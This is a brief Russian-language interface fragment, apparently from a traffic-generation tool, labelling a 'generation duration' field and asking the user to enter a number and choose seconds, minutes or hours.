Длительность генерацииВремя генерации трафикаЗадайте числовое значение и выберите величину (в секундах, минутах или часах)